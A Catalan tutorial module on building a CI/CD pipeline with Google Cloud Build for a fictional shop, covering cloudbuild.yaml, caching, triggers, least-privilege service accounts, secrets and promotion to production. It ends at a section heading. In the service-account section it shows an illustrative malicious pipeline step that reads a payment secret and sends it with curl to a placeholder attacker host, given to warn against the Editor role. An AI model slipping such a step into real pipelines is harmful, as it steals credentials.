Hi ha aplicació, hi ha dades i hi ha models. I tot depèn que dues persones se'n recordin d'executar les coses. Aquest mòdul comença just aquí, i comença per la baula més fràgil de tota la cadena: com arriba el codi d'en Dani a producció.
La resposta actual és incòmoda d'escriure. En Dani obre un terminal al seu portàtil, executa docker build, espera uns minuts, executa docker push contra Artifact Registry i després llança a mà el kubectl set image sobre alpinashop-cluster. Si aquell dia té una dependència diferent instal·lada, la imatge surt diferent. Si oblida executar les proves, ningú no les executa. Si està de baixa, ningú no desplega. I si alguna cosa falla en producció, l'única manera de saber quina versió hi ha corrent és preguntar-l'hi a ell.
En aquesta lliçó això s'acaba. Construiràs un procés automàtic que, davant de cada canvi del codi, instal·la dependències, executa les proves, analitza el codi, construeix una imatge reproduïble, la publica etiquetada amb l'identificador exacte del commit i la desplega en desenvolupament sense que ningú toqui un terminal. I entendràs per què cada peça és on és, que és el que distingeix copiar un cloudbuild.yaml de saber-ne dissenyar un.
Contingut
- El problema real: com es desplega AlpinaShop avui
- Integració contínua i lliurament continu: què signifiquen de debò
- Què és Cloud Build i com executa les coses
- El fitxer
cloudbuild.yamlcamp a camp - El pipeline del catàleg d'AlpinaShop, pas a pas
- Memòria cau de compilació: per què el teu build triga vuit minuts
- Activadors: què llança la compilació i quan
- El compte de servei de Cloud Build i l'antipatró de l'Editor
- Secrets durant la compilació amb Secret Manager
- Promoció entre entorns i aprovacions manuals
- Grups de treballadors privats dins de la VPC
- Cloud Deploy: lliurament progressiu gestionat
- Escaneig de vulnerabilitats i Binary Authorization
- El pipeline d'ML del mòdul 5, portat al nivell 2
- Cost de les compilacions
- El problema real: com es desplega AlpinaShop avui
Val la pena escriure el procediment actual tal com ho faria en Dani si algú li demanés documentar-lo:
# El "procediment de desplegament" d'AlpinaShop, versió 2025
git pull
python -m pytest # opcional, segons les presses
docker build -t catalogo .
docker tag catalogo europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
docker push europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
kubectl set image deployment/catalogo-web \
catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest \
-n tiendaSón sis comandes. Semblen inofensives. Contenen cinc problemes greus:
| Problema | Conseqüència concreta |
|---|---|
| Les proves són "opcionals segons les presses" | El dia que hi ha pressa és just el dia que es trenca alguna cosa |
| La imatge es construeix al portàtil d'en Dani | El seu Python local, les seves dependències, la seva memòria cau: no és reproduïble |
L'etiqueta és latest |
Ningú no pot saber quin codi hi ha en producció ni tornar enrere |
| No hi ha separació entre desenvolupament i producció | El que es prova no és exactament el que es desplega |
| El procés viu al cap d'una sola persona | Bus factor d'1 |
El tercer és el més verinós i convé entendre'l bé. latest no és una versió: és un punter mòbil. Si demà la botiga falla i vols tornar a la imatge de la setmana passada, no existeix: la vas sobreescriure. Si vols saber quin commit va generar el contenidor que està servint peticions, no hi ha manera. Una etiqueta immutable derivada del commit converteix cada imatge en un punt exacte de la història del codi, i aquesta és la propietat que fa possible tota la resta: diagnòstic, auditoria i reversió.
- Integració contínua i lliurament continu: què signifiquen de debò
Els dos termes s'utilitzen com si fossin un de sol, i no ho són.
Integració contínua (CI) és la pràctica d'integrar la feina de tothom a la branca principal amb freqüència —idealment diverses vegades al dia— i verificar automàticament cada integració. El seu producte no és un desplegament: és una resposta ràpida a la pregunta "aquest canvi trenca alguna cosa?". Si la resposta triga dos dies, deixa de ser útil, perquè aleshores ja hi ha deu canvis a sobre i ja no saps quin la va trencar.
Lliurament continu (CD, continuous delivery) és la pràctica de mantenir el programari sempre en un estat en què podria desplegar-se, amb el desplegament automatitzat fins al punt que llançar-lo sigui prémer un botó. La decisió de prémer-lo continua sent humana.
Desplegament continu (continuous deployment) va un pas més enllà: tot canvi que passa les verificacions va a producció tot sol, sense botó.
| Pràctica | Què automatitza | Hi ha decisió humana? | Encaixa avui a AlpinaShop? |
|---|---|---|---|
| Integració contínua | Construir, provar, analitzar | No cal | Sí, des d'ara mateix |
| Lliurament continu | Tot l'anterior + desplegar sota demanda | Sí, el botó | Sí, l'objectiu del mòdul |
| Desplegament continu | Tot, sense intervenció | No | Encara no: falten proves i observabilitat |
AlpinaShop implantarà CI completa i lliurament continu, amb desplegament automàtic a alpinashop-dev i aprovació manual abans d'alpinashop-prod. El desplegament continu a producció és un objectiu legítim, però requereix una xarxa de seguretat —cobertura de proves, alertes fiables, capacitat de reversió automàtica— que no existirà fins després de 06-04 i 06-06.
Hi ha un benefici de la CI que gairebé mai no s'esmenta i que és el més valuós: obliga que el projecte es pugui construir des de zero en una màquina neta. El primer intent d'escriure un pipeline de CI destapa sempre les mateixes coses: un fitxer de configuració que només existeix al portàtil d'algú, una dependència instal·lada a mà fa dos anys, una variable d'entorn que ningú no va documentar. Descobrir-les fa mal, però descobrir-les en una compilació és infinitament millor que descobrir-les el dia que s'incorpora una persona nova o que cal reconstruir l'entorn d'urgència.
- Què és Cloud Build i com executa les coses
Cloud Build és el servei gestionat de GCP per executar processos de compilació. El seu model mental és sorprenentment senzill i val la pena interioritzar-lo perquè explica tot el seu comportament:
Una compilació és una seqüència de passos. Cada pas és un contenidor que s'executa sobre un directori de treball compartit anomenat
/workspace.
Això és tot. No hi ha un llenguatge de scripting propi, ni connectors, ni un model d'extensió: si necessites executar alguna cosa, executes un contenidor que sàpiga fer-ho.
flowchart LR
A[Activador:<br/>push a Git] --> B[Cloud Build<br/>clona el repo a /workspace]
B --> C[Pas 1<br/>contenidor python]
C --> D[Pas 2<br/>contenidor pytest]
D --> E[Pas 3<br/>contenidor docker/kaniko]
E --> F[Pas 4<br/>contenidor gcloud]
F --> G[Artefactes:<br/>imatge a Artifact Registry]
C -. mateix /workspace .-> D
D -. mateix /workspace .-> E
Les tres conseqüències pràctiques d'aquest model:
- Tot el que persisteix entre passos viu a
/workspace. Un pas que instal·la paquets a/usr/localdel seu contenidor no deixa res al següent. Un pas que escriu a/workspace/venvsí. Aquest és el detall que més confusió causa a qui comença, i hi tornarem a l'apartat 5. - Cada pas pot fer servir la imatge que vulgui. El pas de proves pot ser
python:3.11, el d'anàlisi estàticagolangci-lint, el de desplegamentgcr.io/google.com/cloudsdktool/cloud-sdk. No cal ficar-ho tot en una imatge monstruosa. - La compilació s'executa en infraestructura efímera de Google, no al teu portàtil. Màquina neta, sempre igual, i amb una identitat pròpia (el seu compte de servei, apartat 8).
Google publica imatges de constructor (cloud builders) per a les eines habituals: gcr.io/cloud-builders/docker, gcr.io/cloud-builders/gcloud, gcr.io/cloud-builders/git, gcr.io/cloud-builders/npm. Però no estàs obligat a utilitzar-les: qualsevol imatge pública o del teu Artifact Registry serveix, i el 2026 la recomanació general és utilitzar imatges oficials de l'ecosistema (python:3.11-slim, node:22) en lloc de les de cloud-builders, que estan congelades en versions antigues.
- El fitxer
cloudbuild.yaml camp a camp
cloudbuild.yaml camp a campEl pipeline es declara en un fitxer YAML que viu al repositori, al costat del codi. Que hi visqui no és un detall organitzatiu: significa que el procés de compilació es versiona, es revisa en una pull request i evoluciona amb el codi al qual serveix.
Aquest és l'esquelet complet amb tots els camps que utilitzaràs:
steps:
- name: 'python:3.11-slim' # imatge del contenidor que executa el pas
id: 'instalar' # nom del pas, per referir-lo a waitFor
entrypoint: 'bash' # sobreescriu l'ENTRYPOINT de la imatge
args: ['-c', 'pip install -r requirements.txt -t /workspace/lib']
env: # variables d'entorn només d'aquest pas
- 'PIP_DISABLE_PIP_VERSION_CHECK=1'
- name: 'python:3.11-slim'
id: 'pruebas'
waitFor: ['instalar'] # dependències explícites entre passos
entrypoint: 'python'
args: ['-m', 'pytest', '-q']
substitutions: # variables pròpies, sempre amb guió baix
_REGION: 'europe-west1'
_ENTORNO: 'dev'
images: # imatges que Cloud Build publicarà al final
- 'europe-west1-docker.pkg.dev/$PROJECT_ID/alpinashop/catalogo:$COMMIT_SHA'
artifacts: # fitxers que es pugen a Cloud Storage
objects:
location: 'gs://alpinashop-artefactos/informes/$BUILD_ID/'
paths: ['informe-cobertura.xml']
options:
machineType: 'E2_HIGHCPU_8' # mida de la màquina de compilació
logging: CLOUD_LOGGING_ONLY # on van els registres (vegeu l'apartat 8)
timeout: '1200s' # temps màxim total de la compilacióCamp a camp, amb el que importa de cadascun:
| Camp | Què fa | El que cal saber |
|---|---|---|
steps |
Llista ordenada de passos | Per defecte s'executen en sèrie, en l'ordre escrit |
name |
Imatge del contenidor del pas | Fixa la versió amb etiqueta explícita, mai latest |
entrypoint |
Sobreescriu l'executable | Necessari quan la imatge ja porta un ENTRYPOINT propi |
args |
Arguments de la comanda | Si uses bash -c, tot l'script va en un sol element |
env |
Variables d'entorn del pas | Només d'aquell pas; no es propaguen al següent |
id |
Nom del pas | Només serveix perquè altres passos el referenciïn |
waitFor |
Passos previs requerits | La clau del paral·lelisme, vegeu més avall |
dir |
Directori de treball dins de /workspace |
Útil en monorepos |
substitutions |
Variables de la compilació | Les teves han de començar per _ |
images |
Imatges a publicar en acabar | Es publiquen només si tots els passos han anat bé |
artifacts |
Fitxers a pujar a Cloud Storage | Informes de cobertura, binaris, etc. |
options |
Configuració global | Mida de màquina, logging, compte de servei |
timeout |
Límit total | Per defecte 60 minuts; si se supera, la compilació falla |
waitFor: com es paral·lelitza una compilació
Per defecte cada pas espera l'anterior. Amb waitFor declares de què depèn realment cada pas, i Cloud Build executa en paral·lel tot el que pot:
- name: 'python:3.11-slim'
id: 'pruebas'
waitFor: ['instalar']
- name: 'python:3.11-slim'
id: 'lint'
waitFor: ['instalar'] # també depèn d'instalar, no de pruebas
# → pruebas i lint corren EN PARAL·LEL
- name: 'gcr.io/kaniko-project/executor:latest'
id: 'construir'
waitFor: ['pruebas', 'lint'] # espera els dosHi ha un valor especial: waitFor: ['-'] significa "no esperis ningú, arrenca des del principi". És útil per a tasques independents com descarregar una memòria cau.
El paral·lelisme aquí no és una microoptimització. Si les proves triguen tres minuts i l'anàlisi estàtica dos més, executar-los alhora converteix una compilació de cinc minuts en una de tres. I la velocitat de la CI determina si l'equip la fa servir: un pipeline de vint minuts s'acaba saltant; un de quatre, no.
Substitucions: les de Cloud Build i les teves
Cloud Build omple automàticament un conjunt de variables:
| Variable | Contingut | Ús típic |
|---|---|---|
$PROJECT_ID |
Projecte on corre la compilació | Rutes d'Artifact Registry |
$COMMIT_SHA |
SHA complet del commit | L'etiqueta de la imatge |
$SHORT_SHA |
Primers 7 caràcters del SHA | Etiquetes llegibles |
$BRANCH_NAME |
Branca que ha disparat la compilació | Lògica condicional per branca |
$TAG_NAME |
Etiqueta Git, si l'activador és per tag | Versions de release |
$BUILD_ID |
Identificador únic de la compilació | Rutes d'artefactes, correlació de registres |
$REPO_NAME |
Nom del repositori | Monorepos |
$COMMIT_SHA i $SHORT_SHA només tenen valor si la compilació ve d'un activador connectat a un repositori. Si llances gcloud builds submit des de la teva màquina, estan buides. És una causa de fallada molt habitual: la imatge es publica amb l'etiqueta catalogo: i ningú no entén per què.
Les teves pròpies substitucions porten _ al davant i es declaren a substitutions: amb un valor per defecte que l'activador pot sobreescriure. Aquest és el mecanisme amb què un mateix cloudbuild.yaml serveix per a diversos entorns.
- El pipeline del catàleg d'AlpinaShop, pas a pas
Aquest és el fitxer real que va a l'arrel del repositori del catàleg. Llegeix-lo sencer i després el desmuntem:
substitutions:
_REGION: 'europe-west1'
_REPO: 'europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop'
_SERVICIO: 'catalogo'
_CLUSTER: 'alpinashop-cluster'
_NAMESPACE: 'tienda'
steps:
# 1. Dependències: s'instal·len DINS de /workspace perquè persisteixin
- name: 'python:3.11-slim'
id: 'instalar'
entrypoint: 'bash'
args:
- '-c'
- |
pip install --upgrade pip
pip install -r requirements.txt -r requirements-dev.txt \
--target=/workspace/lib
# 2. Proves unitàries amb pytest
- name: 'python:3.11-slim'
id: 'pruebas'
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args:
- '-c'
- |
python -m pytest -q --junitxml=/workspace/informe-pruebas.xml \
--cov=catalogo --cov-report=xml:/workspace/cobertura.xml
python -m coverage report --fail-under=70
# 3. Anàlisi estàtica, EN PARAL·LEL amb les proves
- name: 'python:3.11-slim'
id: 'lint'
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args:
- '-c'
- |
python -m ruff check catalogo/
python -m bandit -r catalogo/ -ll
# 4. Construir la imatge amb kaniko i memòria cau
- name: 'gcr.io/kaniko-project/executor:v1.23.2'
id: 'construir'
waitFor: ['pruebas', 'lint']
args:
- '--destination=${_REPO}/${_SERVICIO}:$COMMIT_SHA'
- '--cache=true'
- '--cache-ttl=168h'
- '--dockerfile=Dockerfile'
- '--context=dir:///workspace/'
# 5. Desplegar a l'entorn de desenvolupament
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
id: 'desplegar-dev'
waitFor: ['construir']
entrypoint: 'bash'
args:
- '-c'
- |
gcloud container clusters get-credentials ${_CLUSTER} \
--region ${_REGION} --project alpinashop-dev
kubectl set image deployment/${_SERVICIO}-web \
${_SERVICIO}=${_REPO}/${_SERVICIO}:$COMMIT_SHA \
-n ${_NAMESPACE}
kubectl rollout status deployment/${_SERVICIO}-web \
-n ${_NAMESPACE} --timeout=180s
artifacts:
objects:
location: 'gs://alpinashop-artefactos/builds/$BUILD_ID/'
paths: ['informe-pruebas.xml', 'cobertura.xml']
options:
machineType: 'E2_HIGHCPU_8'
logging: CLOUD_LOGGING_ONLY
timeout: '900s'Pas 1, dependències. El --target=/workspace/lib és la peça que fa que això funcioni. Sense ell, pip instal·laria al site-packages del contenidor python:3.11-slim, aquell contenidor acabaria, i el pas 2 arrencaria un contenidor nou i net sense les dependències. Amb ell, els paquets queden al directori compartit i el pas 2 els troba gràcies a PYTHONPATH.
Pas 2, proves. Dues coses importants. --junitxml genera un informe en format estàndard que després es puja com a artefacte —útil per revisar què ha fallat sense capbussar-se en els registres—. I --fail-under=70 fa que la compilació falli si la cobertura baixa del 70 %. Aquella línia és una decisió de política, no tècnica: converteix "hauríem d'escriure més proves" en una regla que el sistema aplica. Comença amb un llindar que ja compleixis i puja'l a poc a poc; posar un 90 % de cop en un projecte que està al 40 % només aconsegueix que algú esborri la línia.
Pas 3, anàlisi estàtica. ruff detecta problemes d'estil i errors evidents; bandit busca patrons insegurs en Python —credencials incrustades, ús de subprocess amb shell=True, algorismes criptogràfics febles—. El -ll limita l'avís a severitat mitjana o superior per evitar soroll. Fixa't que el seu waitFor apunta a instalar, no a pruebas: per això s'executa alhora.
Pas 4, construir. S'utilitza kaniko en lloc de docker build, i el motiu és doble: kaniko construeix imatges sense necessitar un dimoni Docker amb privilegis, i porta memòria cau de capes remota integrada. L'apartat 6 hi entra en detall. L'etiqueta és $COMMIT_SHA i no apareix latest enlloc.
Pas 5, desplegar en desenvolupament. El desplegament va a alpinashop-dev, mai a alpinashop-prod des d'aquest pipeline. I el kubectl rollout status --timeout=180s és imprescindible: sense ell, el pas acabaria amb èxit tan bon punt Kubernetes accepta l'ordre, encara que els pods nous entrin en CrashLoopBackOff trenta segons després. Amb ell, la compilació falla si el desplegament no convergeix, que és el que vols saber.
Per llançar-lo a mà mentre el proves:
gcloud builds submit --config=cloudbuild.yaml \
--substitutions=_SERVICIO=catalogo \
--project=alpinashop-cicd .Fixa't en el projecte: alpinashop-cicd. Fins ara aquell projecte estava creat i buit. Aquí comença a tenir sentit: les compilacions s'executen en un projecte propi, separat dels entorns que despleguen. Això permet donar a Cloud Build permisos acotats sobre alpinashop-dev i alpinashop-prod sense que visqui dins d'ells, i manté l'historial de compilacions i els seus registres fora dels projectes de producció.
- Memòria cau de compilació: per què el teu build triga vuit minuts
La primera compilació triga el que triga. Les següents no haurien de fer-ho, i si triguen el mateix és que no hi ha memòria cau.
Una imatge Docker és una pila de capes, i cada instrucció del Dockerfile en genera una. Si una capa no ha canviat i les anteriors tampoc, es pot reutilitzar. El problema és que Cloud Build executa cada compilació en una màquina neta: no hi ha memòria cau local per reutilitzar. Cal portar-la d'algun lloc.
Dos mecanismes, amb perfil diferent:
| Mecanisme | Com funciona | Quan utilitzar-lo |
|---|---|---|
kaniko amb --cache=true |
Puja i baixa capes d'un repositori de memòria cau a Artifact Registry, automàticament | Per defecte, gairebé sempre |
docker build --cache-from |
Descarrega una imatge prèvia i la utilitza com a referència de capes | Quan necessites Docker per un altre motiu |
Amb --cache-from el patró és aquest, i té un parany:
- name: 'gcr.io/cloud-builders/docker'
entrypoint: 'bash'
args:
- '-c'
- |
docker pull ${_REPO}/${_SERVICIO}:cache || true # el || true és clau
docker build \
--cache-from ${_REPO}/${_SERVICIO}:cache \
-t ${_REPO}/${_SERVICIO}:$COMMIT_SHA \
-t ${_REPO}/${_SERVICIO}:cache .El || true evita que la primera compilació falli, quan encara no existeix cap imatge de memòria cau per descarregar. És un detall petit que trenca molts pipelines nous.
Però la memòria cau només ajuda si el Dockerfile està ordenat per aprofitar-la. Compara:
# MALAMENT: qualsevol canvi al codi invalida la instal·lació de dependències
COPY . /app
RUN pip install -r /app/requirements.txt
# BÉ: les dependències només es reinstal·len si requirements.txt canvia
COPY requirements.txt /app/
RUN pip install -r /app/requirements.txt
COPY . /appLa regla general: del que menys canvia al que més canvia. Les dependències canvien un cop al mes; el codi, vint vegades al dia. Si copies el codi abans d'instal·lar dependències, cada commit ho reinstal·la tot. Aquest canvi de tres línies acostuma a retallar més temps de compilació que qualsevol ajust de màquina.
L'altre factor és la mida de la màquina. El valor per defecte és modest; E2_HIGHCPU_8 costa més per minut però pot reduir el temps total prou per sortir més barat, a més de donar resposta més ràpida a l'equip. Mesura-ho abans de decidir: en compilacions dominades per descàrregues de xarxa, més CPU no aporta res.
- Activadors: què llança la compilació i quan
Un activador (trigger) és la regla que connecta un esdeveniment d'un repositori amb un cloudbuild.yaml. Sense activadors tens un script; amb ells, integració contínua.
| Tipus | Esdeveniment | Ús a AlpinaShop |
|---|---|---|
| Push a branca | Commit en una branca que coincideix amb un patró | ^main$ → construir i desplegar a dev |
| Pull request | Obertura o actualització d'una PR | Construir i provar sense desplegar |
| Etiqueta (tag) | Es crea una etiqueta Git | ^v\d+\.\d+\.\d+$ → candidata a producció |
| Manual | Algú el llança des de la consola o gcloud |
Recompilacions puntuals, migracions |
| Webhook / Pub/Sub | Missatge extern | Reentrenament d'ML, vegeu l'apartat 14 |
Crear l'activador de branca principal:
gcloud builds triggers create github \
--name=catalogo-main \
--repo-name=alpinashop-catalogo \
--repo-owner=alpinashop \
--branch-pattern='^main$' \
--build-config=cloudbuild.yaml \
--region=europe-west1 \
--service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
--project=alpinashop-cicdI el de pull request, que és el que realment protegeix la branca principal:
gcloud builds triggers create github \
--name=catalogo-pr \
--repo-name=alpinashop-catalogo \
--repo-owner=alpinashop \
--pull-request-pattern='^main$' \
--comment-control=COMMENTS_ENABLED_FOR_EXTERNAL_CONTRIBUTORS_ONLY \
--build-config=cloudbuild-pr.yaml \
--region=europe-west1 \
--project=alpinashop-cicdEl cloudbuild-pr.yaml és el mateix pipeline sense el pas de desplegament: instal·la, prova i analitza. La seva funció és donar un veredicte verd o vermell a la sol·licitud d'incorporació (pull request) abans que ningú la fusioni. El --comment-control evita que un contribuïdor extern desconegut pugui executar codi arbitrari al teu projecte obrint una PR; en un repositori privat d'un equip petit importa menys, però és un bon hàbit.
Un filtre molt útil en repositoris amb diverses coses a dins és --included-files, que evita compilar el catàleg perquè algú ha corregit una errada al README:
--included-files='catalogo/**,requirements*.txt,Dockerfile,cloudbuild.yaml' \
--ignored-files='**/*.md,docs/**'La connexió amb el repositori es configura una sola vegada. AlpinaShop la farà amb GitHub a través de l'aplicació de Cloud Build, i tot el detall —inclosa l'alternativa de Cloud Source Repositories i per què està en desús— és exactament el tema de 06-02.
- El compte de servei de Cloud Build i l'antipatró de l'Editor
Aquest és l'apartat que més disgustos evita.
Tota compilació s'executa amb una identitat. Històricament Cloud Build utilitzava un compte de servei automàtic, <número-projecte>@cloudbuild.gserviceaccount.com, al qual Google concedia el rol Editor sobre el projecte. Còmode i catastròfic: significa que qualsevol que pugui modificar el cloudbuild.yaml pot fer gairebé qualsevol cosa al projecte. I modificar aquell fitxer és simplement obrir una pull request.
Imagina't l'atac, que no requereix cap coneixement especial:
# Un pas afegit en una pull request aparentment innocent
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
entrypoint: 'bash'
args: ['-c', 'gcloud secrets versions access latest --secret=api-key-pasarela-pago | curl -X POST -d @- https://servidor-del-atacante.example']Si el compte de Cloud Build té Editor, aquell pas funciona. Per això, des del 2024, els projectes nous ja no reben el rol Editor per defecte i es recomana especificar un compte de servei propi per activador. I per això l'activador de l'apartat 7 porta --service-account.
La configuració correcta per a AlpinaShop, amb el principi de mínim privilegi de 03-04 aplicat de debò:
# Compte dedicat al pipeline del catàleg, al projecte de CI/CD
gcloud iam service-accounts create sa-build-catalogo \
--display-name="Cloud Build - catalogo web" \
--project=alpinashop-cicd
[email protected]
# Escriure a Artifact Registry: només això, al repositori concret
gcloud artifacts repositories add-iam-policy-binding alpinashop \
--location=europe-west1 --project=alpinashop-prod \
--member="serviceAccount:${SA}" --role=roles/artifactregistry.writer
# Desplegar al clúster de DESENVOLUPAMENT, no a producció
gcloud projects add-iam-policy-binding alpinashop-dev \
--member="serviceAccount:${SA}" --role=roles/container.developer
# Escriure els seus propis registres
gcloud projects add-iam-policy-binding alpinashop-cicd \
--member="serviceAccount:${SA}" --role=roles/logging.logWriterTres rols. Ni un més. Fixa't en el que no té: cap permís sobre alpinashop-prod llevat d'escriure al repositori d'imatges, cap accés a Secret Manager que no se li concedeixi secret a secret, cap capacitat de tocar IAM, cap capacitat d'esborrar res.
Hi ha un detall operatiu associat: quan utilitzes un compte de servei propi, has d'especificar logging: CLOUD_LOGGING_ONLY a options (o donar-li un bucket de Cloud Storage on escriure), perquè el comportament per defecte exigeix permisos que aquell compte no té. És el primer error que apareix en migrar, i el missatge no és especialment clar.
La regla mental que convé gravar-se: el pipeline de CI/CD és el sistema amb més privilegis de la teva infraestructura, perquè per definició pot desplegar codi a tot arreu. Tracta'l com a tal. Si un atacant ha de triar un objectiu a AlpinaShop, no triarà el web: triarà això.
- Secrets durant la compilació amb Secret Manager
Algunes compilacions necessiten credencials: un testimoni per publicar en un registre privat, una clau d'API per a un servei d'anàlisi. El que mai no ha de passar és que aquella credencial estigui escrita al cloudbuild.yaml, perquè aquell fitxer és a Git i allà es queda per sempre, encara que després l'esborris.
Cloud Build s'integra amb Secret Manager (03-06) mitjançant availableSecrets:
availableSecrets:
secretManager:
- versionName: projects/alpinashop-prod/secrets/token-registro-privado/versions/latest
env: 'TOKEN_REGISTRO'
steps:
- name: 'python:3.11-slim'
id: 'publicar-paquet'
entrypoint: 'bash'
secretEnv: ['TOKEN_REGISTRO'] # aquest pas, i només aquest, veu el secret
args:
- '-c'
- |
pip config set global.index-url \
"https://oauth2accesstoken:[email protected]/alpinashop-prod/pypi/simple/"
python -m build && python -m twine upload dist/*Tres detalls que cal entendre:
$$TOKEN_REGISTROporta dos dòlars. Un sol$faria que Cloud Build intentés substituir-lo com si fos una variable seva, trobés que no existeix i deixés la cadena buida. Amb$$el valor arriba literal al shell, que és qui resol la variable d'entorn.secretEnvva per pas. Només els passos que el declaren veuen el secret. Un pas de proves no té per què tenir accés al testimoni de publicació.- El compte de servei de la compilació necessita
roles/secretmanager.secretAccessorsobre aquell secret concret, concedit a la política del propi secret, no a nivell de projecte.
I un advertiment que sembla obvi i tanmateix passa: si el teu script imprimeix el secret, apareix als registres. Cloud Build no censura la sortida. Un set -x en un script bash o un echo de depuració oblidat basten per filtrar una credencial a Cloud Logging, on la pot llegir qualsevol amb permís de lectura de registres. Si sospites que ha passat, la resposta correcta no és esborrar el registre: és rotar el secret.
- Promoció entre entorns i aprovacions manuals
El pipeline construït desplega a alpinashop-dev. Producció necessita una altra cosa, i aquella altra cosa es diu promoció.
El principi és senzill i és la raó de ser de l'etiqueta immutable:
La imatge que va a producció és exactament la mateixa que es va provar en desenvolupament. No es reconstrueix. Es promociona.
Si en producció es reconstruís la imatge des del codi, seria una imatge diferent —una altra data, potser una altra versió d'una dependència transitiva— i tot el que s'ha verificat en desenvolupament deixaria de valer. El que canvia entre entorns és la configuració (variables, secrets, mida), no l'artefacte.
flowchart LR
A[Push a main] --> B[CI: proves + lint]
B --> C[Imatge :SHA a<br/>Artifact Registry]
C --> D[Desplegament automàtic<br/>alpinashop-dev]
D --> E{Aprovació<br/>manual}
E -->|Marta aprova| F[Desplegament<br/>alpinashop-prod]
E -->|Rebutja| G[Es queda a dev]
F --> H[Verificació<br/>posterior al desplegament]
L'activador de producció es crea amb --require-approval:
gcloud builds triggers create manual \
--name=catalogo-promocion-prod \
--repo=https://github.com/alpinashop/alpinashop-catalogo \
--repo-type=GITHUB \
--branch=main \
--build-config=cloudbuild-prod.yaml \
--require-approval \
--region=europe-west1 \
--service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
--project=alpinashop-cicdQuan aquell activador s'activa, la compilació queda en estat pendent fins que algú amb el rol roles/cloudbuild.builds.approver l'aprova des de la consola. La Marta el té; en Dani no. I aquella separació no és desconfiança: és l'aplicació al desplegament del mateix principi de 03-04 segons el qual ningú no és owner de producció.
Fixa't també que el desplegament a producció utilitza un altre compte de servei, sa-deploy-prod, que sí que té permisos sobre alpinashop-prod. El compte que executa les proves i construeix la imatge no els té mai. Si algú compromet el pipeline de CI, no arriba a producció sense passar per una aprovació humana executada amb una altra identitat.
El cloudbuild-prod.yaml rep l'etiqueta a desplegar com a substitució i no construeix res:
substitutions:
_IMAGEN_SHA: '' # obligatori: es passa en aprovar
steps:
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
entrypoint: 'bash'
args:
- '-c'
- |
test -n "${_IMAGEN_SHA}" || { echo "Falta _IMAGEN_SHA"; exit 1; }
gcloud container clusters get-credentials alpinashop-cluster \
--region europe-west1 --project alpinashop-prod
kubectl set image deployment/catalogo-web \
catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:${_IMAGEN_SHA} \
-n tienda
kubectl rollout status deployment/catalogo-web -n tienda --timeout=300sLa comprovació test -n de la primera línia existeix perquè una substitució buida produiria l'etiqueta catalogo:, que falla de manera confusa. És una guarda de tres paraules que estalvia mitja hora de desconcert.
- Grups de treballadors privats dins de la VPC
Per defecte les compilacions s'executen en un grup de treballadors compartit de Google, amb sortida a internet i sense accés a la teva VPC. Per a AlpinaShop això funciona fins al dia que una prova d'integració necessita connectar-se a alpinashop-pedidos per IP privada, o el pas de desplegament ha d'arribar a un endpoint intern.
Un grup de treballadors privat (private pool) és un conjunt de màquines de compilació connectades a la teva VPC:
gcloud builds worker-pools create pool-alpinashop \
--region=europe-west1 \
--project=alpinashop-cicd \
--peered-network=projects/alpinashop-prod/global/networks/alpinashop-vpc \
--worker-machine-type=e2-standard-4 \
--no-public-egressI s'utilitza des del cloudbuild.yaml:
| Aspecte | Grup compartit | Grup privat |
|---|---|---|
| Accés a la VPC | No | Sí, per aparellament |
| Sortida a internet | Sí | Configurable (--no-public-egress) |
| IP de sortida | De Google, variable | Fixa, es pot permetre en un tallafoc |
| Cost | Només minuts de compilació | Minuts + màquines reservades |
| Quan utilitzar-lo | Per defecte | Proves contra recursos privats, requisits de compliment |
El --no-public-egress mereix una nota: elimina la sortida a internet, cosa que és excel·lent per a la seguretat i trenca qualsevol pas que descarregui dependències de PyPI o imatges de Docker Hub. Si l'actives, necessites rèpliques internes d'aquells repositoris a Artifact Registry. És una decisió seriosa; per a AlpinaShop avui, el grup compartit és suficient i el privat es reserva per quan hi hagi proves d'integració contra Cloud SQL.
- Cloud Deploy: lliurament progressiu gestionat
Cloud Build és excel·lent construint i acceptable desplegant. Quan el desplegament es complica —tres entorns, desplegament canari, reversió amb una comanda, historial de quina versió va estar a cada lloc— hi ha una eina específica: Cloud Deploy.
Cloud Deploy modela un pipeline de lliurament amb destinacions ordenades i gestiona la promoció entre elles:
apiVersion: deploy.cloud.google.com/v1
kind: DeliveryPipeline
metadata:
name: catalogo-web
serialPipeline:
stages:
- targetId: desarrollo
profiles: [dev]
- targetId: produccion
profiles: [prod]
strategy:
canary:
runtimeConfig:
kubernetes:
serviceNetworking:
service: catalogo-svc
deployment: catalogo-web
canaryDeployment:
percentages: [10, 50] # 10 % → 50 % → 100 %
verify: true
---
apiVersion: deploy.cloud.google.com/v1
kind: Target
metadata:
name: produccion
requireApproval: true
gke:
cluster: projects/alpinashop-prod/locations/europe-west1/clusters/alpinashop-clusterEl que aporta sobre un kubectl set image a Cloud Build:
- Desplegament canari real: el 10 % del trànsit va a la versió nova, es verifica, es passa al 50 %, es verifica, i només llavors al 100 %.
- Reversió amb una comanda, sense reconstruir res, perquè coneix l'historial del que s'ha desplegat.
- Registre de quina versió és a quina destinació, que respon a la pregunta "què hi ha en producció?" sense preguntar-ho a ningú.
- Aprovacions per destinació integrades.
| Situació | Eina |
|---|---|
| Un servei, dos entorns, desplegament directe | Cloud Build és suficient |
| Diversos serveis, tres o més entorns | Cloud Deploy |
| Necessites canari o blue/green gestionat | Cloud Deploy |
| Vols resposta a "quina versió hi ha on" sense scripts | Cloud Deploy |
Per a AlpinaShop avui, amb un servei i dos entorns, Cloud Build en té prou i afegir Cloud Deploy seria complexitat sense benefici. S'anota com el pas natural per quan el catàleg es mogui a Cloud Run a 07-02, on Cloud Deploy encaixa especialment bé perquè el repartiment de trànsit per percentatge és natiu del servei.
- Escaneig de vulnerabilitats i Binary Authorization
